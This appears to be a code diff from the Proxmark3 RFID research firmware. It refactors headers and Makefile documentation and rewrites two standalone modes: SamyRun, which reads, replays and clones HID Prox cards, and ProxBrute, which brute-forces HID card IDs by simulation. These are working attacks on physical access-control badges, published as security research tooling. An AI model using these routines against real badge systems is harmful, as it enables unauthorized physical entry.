// since we steal 12800 from bigbuffer, no need to sample it.
DoAcquisition_config(false, 28000);
res = IceHIDDemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceAWIDdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 20000);
res = IceEM410xdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceIOdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
}
LED_C_ON();
rdv40_spiffs_lazy_unmount();
LED_C_OFF();
LEDsoff();
DownloadLogInstructions();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
}

View file

@ -7,13 +7,17 @@
//-----------------------------------------------------------------------------
// main code for skeleton aka IceRun by Iceman
//-----------------------------------------------------------------------------
#include "lf_icerun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
void ModInfo(void) {
DbpString(" LF skeleton mode - aka IceRun (iceman)");
}
// samy's sniff and repeat routine for LF
void RunMod() {
StandAloneMode();
Dbprintf("[=] LF skeleton code a.k.a IceRun started");

View file

@ -9,7 +9,14 @@
//-----------------------------------------------------------------------------
// main code for LF aka Proxbrute by Brad antoniewicz
//-----------------------------------------------------------------------------
#include "lf_proxbrute.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "lfops.h"
void ModInfo(void) {
DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
@ -21,97 +28,56 @@ void RunMod() {
Dbprintf(">> LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<");
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
uint32_t high[OPTS], low[OPTS];
int selected = 0;
int playing = 0;
int cardRead = 0;
uint32_t high, low;
// Turn on selected LED
LED(selected + 1, 0);
#define STATE_READ 0
#define STATE_BRUTE 1
uint8_t state = STATE_READ;
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
if (state == STATE_READ) {
LEDsoff();
LED_A_ON();
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
// findone, high, low, no ledcontrol (A)
CmdHIDdemodFSK(1, &high, &low, 0);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
Dbprintf("[=] recorded | %x%08x", high, low);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 1;
} else if (button_pressed > 0 && cardRead == 1) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_A, 0);
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 0;
// got nothing. blink and loop.
if (high == 0 && low == 0) {
SpinErr(LED_A, 100, 12);
DbpString("[=] only got zeros, retry recording after click");
continue;
}
// Change where to record (or begin playing)
else if (button_pressed) {
// Next option if we were previously playing
if (playing)
selected = (selected + 1) % OPTS;
playing = !playing;
SpinErr(LED_A, 250, 2);
state = STATE_BRUTE;
continue;
LEDsoff();
LED(selected + 1, 0);
} else if (state == STATE_BRUTE) {
// Begin transmitting
if (playing) {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
LED_C_ON(); // Simulate
WAIT_BUTTON_RELEASED();
/* START PROXBRUTE */
/*
ProxBrute - brad a. - foundstone
@ -122,50 +88,32 @@ void RunMod() {
worked or not, so its a crap shoot. One option is to time how long
it takes to get a valid ID then start from scratch every time.
*/
if (selected == 1) {
DbpString("[=] entering ProxBrute Mode");
Dbprintf("[=] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]);
LED(LED_A, 0);
LED(LED_C, 0);
for (uint16_t i = low[selected] - 1; i > 0; i--) {
if (BUTTON_PRESS()) {
DbpString("[-] told to stop");
break;
DbpString("[=] entering ProxBrute mode");
Dbprintf("[=] simulating | %08x%08x", high, low);
for (uint16_t i = low - 1; i > 0; i--) {
if (data_available()) break;
// Was our button held down or pressed?
button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD) break;
Dbprintf("[=] trying Facility = %08x ID %08x", high, i);
// high, i, ledcontrol, timelimit 20000
CmdHIDsimTAGEx(0, high, i, 0, false, 20000);
SpinDelay(100);
}
Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i);
CmdHIDsimTAGEx(high[selected], i, 0, 20000);
SpinDelay(500);
}
} else {
DbpString("[=] RED is lit, not entering ProxBrute Mode");
Dbprintf("[=] %x %x %x", selected, high[selected], low[selected]);
CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000);
DbpString("[=] done playing");
}
/* END PROXBRUTE */
if (BUTTON_HELD(1000) > 0)
goto out;
/* We pressed a button so ignore it here with a delay */
SpinDelay(300);
// when done, we're done playing, move to next option
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
} else {
while (BUTTON_PRESS())
WDT_HIT();
}
}
}
out:
DbpString("[=] exiting");
state = STATE_READ;
SpinErr((LED_A | LED_C), 250, 2);
LEDsoff();
}
}
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] You can take the shell back :) ...");
LEDsoff();
}

View file

@ -8,138 +8,137 @@
//-----------------------------------------------------------------------------
// main code for LF aka SamyRun by Samy Kamkar
//-----------------------------------------------------------------------------
#include "lf_samyrun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#define OPTS 2
void ModInfo(void) {
DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)");
}
// samy's sniff and repeat routine for LF
// LEDS.
// A , B == which bank (recording)
// FLASHING A, B = clone bank
// C = playing bank A
// D = playing bank B
void RunMod() {
StandAloneMode();
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
uint32_t high[OPTS], low[OPTS];
int selected = 0;
int playing = 0;
int cardRead = 0;
bool gotCard;
// Turn on selected LED
LED(selected + 1, 0);
#define STATE_READ 0
#define STATE_SIM 1
#define STATE_CLONE 2
uint8_t state = STATE_READ;
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
/*
#define BUTTON_NO_CLICK 0
#define BUTTON_SINGLE_CLICK -1
#define BUTTON_DOUBLE_CLICK -2
*/
Dbprintf("button %d", button_pressed);
SpinDelay(300);
if (state == STATE_READ) {
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded bank %x | %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 1;
gotCard = true;
} else if (button_pressed > 0 && cardRead == 1) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_A, 0);
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 0;
}
// Change where to record (or begin playing)
else if (button_pressed && gotCard) {
// Next option if we were previously playing
if (playing)
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
// Begin transmitting
if (playing) {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
CmdHIDsimTAG(high[selected], low[selected], false);
DbpString("[=] done playing");
if (BUTTON_HELD(1000) > 0)
goto out;
/* We pressed a button so ignore it here with a delay */
SpinDelay(300);
// when done, we're done playing, move to next option
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
if (selected == 0) {
LED_A_ON();
LED_B_OFF();
} else {
while (BUTTON_PRESS())
WDT_HIT();
LED_B_ON();
LED_A_OFF();
}
LED_C_OFF();
LED_D_OFF();
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] start recording");
// findone, high, low, no ledcontrol (A)
uint32_t hi = 0, lo = 0;
CmdHIDdemodFSK(1, &hi, &lo, 0);
high[selected] = hi;
low[selected] = lo;
Dbprintf("[=] recorded %x | %x%08x", selected, high[selected], low[selected]);
// got nothing. blink and loop.
if (hi == 0 && lo == 0) {
SpinErr((selected == 0) ? LED_A : LED_B, 100, 12);
DbpString("[=] only got zeros, retry recording after click");
continue;
}
SpinErr((selected == 0) ? LED_A : LED_B, 250, 2);
state = STATE_SIM;
continue;
} else if (state == STATE_SIM) {
LED_C_ON(); // Simulate
LED_D_OFF();
WAIT_BUTTON_RELEASED();
Dbprintf("[=] simulating %x | %x%08x", selected, high[selected], low[selected]);
// high, low, no led control(A) no time limit
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, false, -1);
DbpString("[=] simulating done");
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_C;
SpinErr(leds, 250, 2);
state = STATE_CLONE;
continue;
} else if (state == STATE_CLONE) {
LED_C_OFF();
LED_D_ON(); // clone
WAIT_BUTTON_RELEASED();
Dbprintf("[=] cloning %x | %x%08x", selected, high[selected], low[selected]);
// high2, high, low, no longFMT
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
DbpString("[=] cloned done");
state = STATE_READ;
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_D;
SpinErr(leds, 250, 2);
selected = (selected + 1) % OPTS;
LEDsoff();
}
}
out:
DbpString("[=] exiting");
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] You can take shell back :) ...");
LEDsoff();
}

View file

@ -1,5 +1,6 @@
#include "standalone.h" // standalone definitions
#include "apps.h" // debug statements
#include "dbprint.h"
void ModInfo(void) {
DbpString(" No standalone mode present");

View file

@ -1,6 +1,6 @@
# Standalone Modes
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `armsrc/Makefile` and `common/Makefile.hal`
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `Makefile.inc` and `Makefile.hal`
If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`.
Have a look at the skeleton standalone mode called IceRun, in the files `lf_icerun.c lf_icerun.h`.
@ -40,8 +40,6 @@ void RunMod(void) {
}
````
Each standalone mode needs to have its own compiler flag to be added in `armsrc/Makefile`.
## Naming your standalone mode
We suggest that you follow these guidelines:
@ -58,9 +56,9 @@ This leads to your next step, your DEFINE name needed in Makefile.
`WITH_STANDALONE_LF_FOO`
## Update COMMON/MAKEFILE.HAL
## Update MAKEFILE.HAL
Add your mode to the `common/Makefile.hal` help and modes list:
Add your mode to the `Makefile.hal` help and modes list:
```
+==========================================================+
| STANDALONE | DESCRIPTION |
@ -74,8 +72,15 @@ STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_FOO
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG
```
## Update ARMSRC/MAKEFILE
Add your source code files like the following sample in the `armsrc/Makefile`
If your mode is using one of the unique features of the RDV4, add it to the proper list:
```
STANDALONE_MODES_REQ_SMARTCARD :=
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG
```
## Update MAKEFILE.INC
Add your source code files like the following sample in the `Makefile.inc`
```
# WITH_STANDALONE_LF_ICERUN
@ -100,7 +105,7 @@ void ModInfo(void) {
````
## Compiling your standalone mode
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `common/Makefile.hal` or ) , e.g.:
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `Makefile.hal` or ) , e.g.:
- rename Makefile.platform.sample -> Makefile.platform
- edit the "STANDALONE" row inside Makefile.platform. You need to uncomment it and add your standalone mode name

View file

@ -11,9 +11,6 @@
#ifndef __STANDALONE_H
#define __STANDALONE_H
#include <stdbool.h> // for bool
#include <inttypes.h> // PRIu64
void RunMod();
void ModInfo();

File diff suppressed because it is too large Load diff

View file

@ -1,34 +0,0 @@
/*
* AES Cryptographic Algorithm Header File. Include this header file in
* your source which uses these given APIs. (This source is kept under
* public domain)
*/
#ifndef __AES_H
#define __AES_H
// AES context structure
typedef struct {
unsigned int Ek[60];
unsigned int Dk[60];
unsigned int Iv[4];
unsigned char Nr;
unsigned char Mode;
} AesCtx;
// key length in bytes
#define KEY128 16
#define KEY192 24
#define KEY256 32
// block size in bytes
#define BLOCKSZ 16
// mode
#define EBC 0
#define CBC 1
// AES API function prototype
int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode);
int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen);
int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen);
#endif

File diff suppressed because it is too large Load diff

44
armsrc/appmain.h Normal file
View file

@ -0,0 +1,44 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __APPMAIN_H
#define __APPMAIN_H
#include "common.h"
extern const uint8_t OddByteParity[256];
extern int rsamples; // = 0;
extern uint8_t trigger;
extern bool allow_send_wtx;
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
#define MAX_ADC_HF_VOLTAGE 36300
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
#define MAX_ADC_LF_VOLTAGE 140800
extern int ToSendMax;
extern uint8_t ToSend[];
void send_wtx(uint16_t wtx);
void ReadMem(int addr);
void __attribute__((noreturn)) AppMain(void);
uint16_t AvgAdc(int ch);
//void PrintToSendBuffer(void);
void ToSendStuffBit(int b);
void ToSendReset(void);
void ListenReaderField(uint8_t limit);
void StandAloneMode(void);
void printStandAloneModes(void);
#endif

View file

@ -1,252 +0,0 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __APPS_H
#define __APPS_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdlib.h>
#include <stdarg.h>
#include "common.h"
#include "usb_cdc.h"
#include "crc32.h"
#include "lfdemod.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "hitag2.h"
#include "hitagS.h"
#include "mifare.h"
#include "pcf7931.h"
#include "desfire.h"
#include "iso14443b.h"
#include "Standalone/standalone.h"
#include "flashmem.h"
extern const uint8_t OddByteParity[256];
extern int rsamples; // = 0;
extern uint8_t trigger;
// This may be used (sparingly) to declare a function to be copied to
// and executed from RAM
#define RAMFUNC __attribute((long_call, section(".ramfunc")))
/// appmain.h
void ReadMem(int addr);
void __attribute__((noreturn)) AppMain(void);
//void DbpIntegers(int a, int b, int c);
void DbpString(char *str);
void DbpStringEx(uint32_t flags, char *str);
void Dbprintf(const char *fmt, ...);
void DbprintfEx(uint32_t flags, const char *fmt, ...);
void Dbhexdump(int len, uint8_t *d, bool bAsci);
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
#define MAX_ADC_HF_VOLTAGE 36300
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
#define MAX_ADC_LF_VOLTAGE 140800
uint16_t AvgAdc(int ch);
void print_result(char *name, uint8_t *buf, size_t len);
//void PrintToSendBuffer(void);
void ToSendStuffBit(int b);
void ToSendReset(void);
void ListenReaderField(uint8_t limit);
extern int ToSendMax;
extern uint8_t ToSend[];
void StandAloneMode(void);
void printStandAloneModes(void);
/// lfops.h
extern uint8_t decimation;
extern uint8_t bits_per_sample ;
extern bool averaging;
void AcquireRawAdcSamples125k(int divisor);
void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command);
void ReadTItag(void);
void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc);
void AcquireTiType(void);
void AcquireRawBitsTI(void);
void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles);
void SimulateTagLowFrequency(int period, int gap, bool ledcontrol);
void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen);
void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles);
void CmdHIDsimTAG(uint32_t hi, uint32_t lo, bool ledcontrol);
void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol);
void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26
void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol);
void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CopyIOtoT55x7(uint32_t hi, uint32_t lo); // Clone an ioProx card to T5557/T5567
void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567
void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5);
void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo);
void CopyIndala64toT55x7(uint32_t hi, uint32_t lo); // Clone Indala 64-bit tag by UID to T55x7
void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7); // Clone Indala 224-bit tag by UID to T55x7
void T55xxResetRead(void);
void T55xxWriteBlock(uint8_t *data);
void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags);
void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd);
void T55xxWakeUp(uint32_t Pwd);
void T55xx_ChkPwds(void);
void TurnReadLFOn(uint32_t delay);
void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd);
void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd);
void Cotag(uint32_t arg0);
void setT55xxConfig(uint8_t arg0, t55xx_config *c);
t55xx_config *getT55xxConfig(void);
void printT55xxConfig(void);
void loadT55xxConfig(void);
/// iso14443b.h
void SimulateIso14443bTag(uint32_t pupi);
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
void ReadSTMemoryIso14443b(uint8_t numofblocks);
void RAMFUNC SniffIso14443b(void);
void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
void SendRawCommand14443B_Ex(PacketCommandNG *c);
void ClearFpgaShiftingRegisters(void);
// iso14443a.h
void RAMFUNC SniffIso14443a(uint8_t param);
void ReaderIso14443a(PacketCommandNG *c);
// Also used in iclass.c
//bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t len, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
void iso14a_set_trigger(bool enable);
// also used in emv
//bool prepare_allocated_tag_modulation(tag_response_info_t *response_info);
//int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len);
// epa.h
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
void EPA_PACE_Replay(PacketCommandNG *c);
// mifarecmd.h
void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain);
void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes);
void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain);
void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain);
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
void MifareChkKeys(uint8_t *datain);
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void MifareEMemClr(void);
void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain);
void MifareEMemGet(uint8_t blockno, uint8_t blockcnt);
int MifareECardLoad(uint32_t arg0, uint32_t arg1);
void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card
void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain);
void MifareCIdent(); // is "magic chinese" card?
void MifareSetMod(uint8_t *datain);
void MifareUSetPwd(uint8_t arg0, uint8_t *datain);
void OnSuccessMagic();
void OnErrorMagic(uint8_t reason);
int32_t dist_nt(uint32_t nt1, uint32_t nt2);
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
//void RAMFUNC SniffMifare(uint8_t param);
//desfire
void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain);
void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain);
// mifaredesfire.h
bool InitDesfireCard();
void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareDesfireGetInformation();
void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t *datain);
int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout);
size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout);
void OnSuccess();
void OnError(uint8_t reason);
// desfire_crypto.h
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
size_t key_block_size(const desfirekey_t key);
size_t padded_data_length(const size_t nbytes, const size_t block_size);
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
void cmac_generate_subkeys(desfirekey_t key);
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
// iso15693.h
void RecordRawAdcSamplesIso15693(void);
void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
void Iso15693InitReader(void);
// iclass.h
void RAMFUNC SniffIClass(void);
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void ReaderIClass(uint8_t arg0);
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
void iClass_Authentication(uint8_t *mac);
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
void iClass_ReadBlk(uint8_t blockno);
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
void iClass_Dump(uint8_t blockno, uint8_t numblks);
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
// cmd.h
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int receive_ng(PacketCommandNG *rx);
// util.h
void HfSniff(int, int);
//felica.c
void felica_sendraw(PacketCommandNG *c);
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
void felica_sim_lite(uint64_t uid);
void felica_dump_lite_s();
#ifdef __cplusplus
}
#endif
#endif

View file

@ -1,4 +1,4 @@
#include "buzzer.h"
#include "buzzer_disabled.h"
void Ring_BEE_ONCE(uint16_t music_note) {
BEE_ON();

View file

@ -5,10 +5,7 @@
#ifndef __BUZZER_H
#define __BUZZER_H
#include <stdarg.h>
#include "proxmark3.h"
#include "apps.h"
#include "util.h"
#include "common.h"
#define n_2_7khz 185
#define note_1 956
@ -27,24 +24,3 @@ void Ring_ALL(uint16_t count);
void Ring_Little_Star(uint16_t count);
#endif

View file

@ -30,7 +30,10 @@
* @brief
*/
#include "cmd.h"
#include "usb_cdc.h"
#include "usart.h"
#include "crc16.h"
#include "string.h"
// Flags to tell where to add CRC on sent replies
bool reply_with_crc_on_usb = false;
@ -40,10 +43,10 @@ bool reply_via_fpc = false;
bool reply_via_usb = false;
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) {
PacketResponseOLD txcmd;
PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}};
for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
((uint8_t *)&txcmd)[i] = 0x00;
// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
// ((uint8_t *)&txcmd)[i] = 0x00;
// Compose the outgoing command frame
txcmd.cmd = cmd;

View file

@ -35,14 +35,6 @@
#include "common.h"
#include "pm3_cmd.h"
#include "usb_cdc.h"
#include "usart.h"
#include "proxmark3.h"
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int receive_ng(PacketCommandNG *rx);
// Flags to tell where to add CRC on sent replies
extern bool reply_with_crc_on_usb;
@ -51,33 +43,10 @@ extern bool reply_with_crc_on_fpc;
extern bool reply_via_fpc;
extern bool reply_via_usb;
extern void Dbprintf(const char *fmt, ...);
#define Dbprintf_usb(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
